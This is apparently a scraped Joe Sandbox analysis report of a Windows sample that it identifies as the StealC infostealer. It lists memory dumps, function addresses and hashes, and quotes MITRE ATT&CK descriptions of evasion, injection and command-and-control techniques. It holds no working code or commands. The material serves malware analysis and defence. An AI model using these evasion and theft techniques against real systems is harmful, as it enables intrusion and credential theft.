Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7f078e4fbbeaffd5dcc9e01b62753629db2e9a59456b5847fde12931dba1ad7e
Instruction ID: 41fdde4c53423ddd8d702985f4f5abc650967a4b5d1d3b3b57eaaeb5eed5336f
Opcode Fuzzy Hash: 7f078e4fbbeaffd5dcc9e01b62753629db2e9a59456b5847fde12931dba1ad7e
Instruction Fuzzy Hash: 8121C8B69002086BCB98FBB0EC46EE9337DBB55304F004558B64997581EE749AC9CF96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00699860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00684880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00699C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00686280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00695510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 006917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00697500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 006969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00681220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00696AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 006847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 006951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON